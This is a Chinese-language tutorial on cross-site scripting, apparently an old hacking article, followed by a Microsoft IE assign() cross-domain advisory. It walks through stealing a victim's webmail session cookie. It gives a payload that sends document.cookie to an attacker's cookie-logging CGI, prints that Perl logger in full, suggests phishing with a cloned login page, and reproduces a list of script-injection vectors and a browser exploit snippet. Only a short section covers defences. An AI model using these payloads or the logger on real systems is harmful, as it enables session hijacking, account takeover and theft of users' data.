什么是跨站脚本(CSS/XSS)? 我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该 页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行, 有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑, 如果 你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。
并非任何可利用脚本插入实现攻击的 漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点: 1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如:sql injection,XPath injection. 2.跨站脚本是临时的,执行后就消失了 什么类型的脚本可以被插入远程页面? 主流脚本包括以下几种: HTML JavaScript VBScript ActiveX Flash 是什么原因导致一个站点存在XSS的安全漏洞? 许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时, 出错信息会被打印到一个html文件,并将该错误页面发送给访问者。 例如: 404 - yourfile.html Not Found! 我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。 例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html 该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_ me.html ,一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览 器。 考虑一下它是如何把我们的输入写到html文件里的? OK,现在是我们检查XSS漏洞的时候了! 注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面 里。当然方法很多 www.somesite.tld/cgi-bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</sc ript> 当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"? 这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。 下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理 , 就直接写入404 error页面中,结果创建了一个页面,如下: <html> <b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found! </html> 其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。 如何利用XSS来完成hacking? 如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入 一个 html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入 到 该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。 事例: 假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的 目标是b00b这个人。 www.myemailserver.tld/cgi-bin/news.cgi?article=59035 把上面存在CSS漏洞的连接修改一下: www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red 这会创建了一个错误页面,我们得到如下信息: Invalid Input! [article=hax0red] 当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')< /script> <script>并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对 <script>alert('test')</script>进行有效过滤,所以在页面发回到浏览器并执行了该脚本 。 下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址, 并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然 它的用意就是从b00b机器中cookie信息里获得自己想要的东东。 想办法让b00b访问myemailserver.tld站点发表的文章,比如说:”亲爱的b00b,看看这个美 女 如何呀?” 那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取 并保存cookie的脚本 </script> 连接时,发生什么事情?cookie都有了,你该知道怎么办了吧! 如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上, 然后引导用户登陆你的恶意系统页面 这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面, 那些笨蛋并不会意识到实际发生的事情。 把javascript脚本插入WEB页面的不同方法: <snip> 拷贝自:GOBBLES SECURITY ADVISORY #33 Here is a cut-n-paste collection of typical JavaScript-injection hacks you may derive some glee from playing with. <a href="javascript#[code]"> <div οnmοuseοver="[code]"> <img src="javascript:[code]"> <img dynsrc="javascript:[code]"> [IE] <input type="image" dynsrc="javascript:[code]"> [IE] <bgsound src="javascript:[code]"> [IE] &<script>[code]</script> &{[code]}; [N4] <img src=&{[code]};> [N4] <link rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]"> [IE] <img src="mocha:[code]"> [N4] <img src="livescript:[code]"> [N4] <a href="about:<script>[code]</script>"> <meta http-equiv="refresh" content="0;url=javascript:[code]"> <body οnlοad="[code]"> <div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([link to code]);"> [IE] <div style="binding: url([link to code]);"> [Mozilla] <div style="width: expression([code]);"> [IE] <style type="text/javascript">[code]</style> [N4] <object classid="clsid:..." codebase="javascript:[code]"> [IE] <style><!--</style><script>[code]//--></script> <![CDATA[<!--]]><script>[code]//--></script> <!-- -- --><script>[code]</script><!-- -- --> <script>[code]</script> <img src="blah"οnmοuseοver="[code]"> <img src="blah>" οnmοuseοver="[code]"> <xml src="javascript:[code]"> <xml id="X"><a><b><script>[code]</script>;</b></a></xml> <div datafld="b" dataformatas="html" datasrc="#X"></div> [/xC0][/xBC]script>[code][/xC0][/xBC]/script> [UTF-8; IE, Opera] ----Copied from GOBBLES SECURITY ADVISORY #33---- </snip> 一个真正的获取cookie并且做记录的例子: 注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies, 当我测试下面的信息时,使用 javascript创建访问者的cookies,javascript脚本放在index.html文件中。 OK,下面假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是: http://website.tld/program.cgi?input=<evil javascript> 我们创建这样一个连接: http://website.tld/program.cgi?input=<script>document.location='http://yoursite .tld /cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script> 然后让保存该站点cookie的用户访问这个连接: 这是我们的CGI脚本,它的作用就是对用户cookie做记录: ---------evil_cookie_logger.cgi----------- #!/usr/bin/perl # evil_cookie_logger.cgi # remote cookie logging CGI coded by BrainRawt # # NOTE: coded as a proof of concept script when testing for # cross-site scripting vulnerabilities. $borrowed_info = $ENV{'QUERY_STRING'}; $borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type: text/html/n/n something went wrong/n"; print EVIL_COOKIE_LOG "$borrowed_info/n"; print "Content-type: text/html/n/n"; close(EVIL_COOKIE_LOG); ------------------------------------------ 该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里, 通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo g文件。 注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行, 这仅仅是我在自己的站点上做测试用的。 如何防范XSS攻击? 1.在你的WEB浏览器上禁用javascript脚本 2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。 可以把"<",">"转换为<,> 注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符, 这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。 对受害者来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。 涉及程序: Microsoft IE JavaScript assign() 描述: Microsoft IE JavaScript assign()函数跨站脚本漏洞 详细: Microsoft Internet Explorer是一款流行的WEB浏览器。 Microsoft Internet Explorer存在一个安全问题,远程攻击者可以利用这个漏洞允许跨域脚本执行。 当JavaScript函数以相同名指派给另一个函数时,可在浏览器中绕过安全检查,这可导致脚本代码访问其他域,造成敏感信息泄露。 受影响系统: Microsoft Internet Explorer 6.0SP1 Microsoft Internet Explorer 6.0 - Microsoft Windows XP Professional SP1 - Microsoft Windows XP Professional - Microsoft Windows XP Home SP1 - Microsoft Windows XP Home - Microsoft Windows NT 4.0 SP6a - Microsoft Windows ME - Microsoft Windows 98 SE - Microsoft Windows 2003 Web Edition - Microsoft Windows 2003 Standard Edition - Microsoft Windows 2003 Enterprise Edition 64-bit - Microsoft Windows 2003 Enterprise Edition - Microsoft Windows 2003 Datacenter Edition 64-bit - Microsoft Windows 2003 Datacenter Edition - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server 攻击方法: 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! Paul (paul@greyhats.cjb.net)提供了如下测试方法: <script> //courtesy of Paul function govuln(){ var w=window.open("javascript:setInterval(function(){try{var tempvar=opener.location.href;}catch(e){location.assign('javascript:document.innerHTML="<title>Microsoft Corporation</title>0wned"');window.close();}},100)","_blank","height=10,width=10,left=10000,top=10000"); w.location.assign=location.assign; location.href="http://www.microsoft.com"; }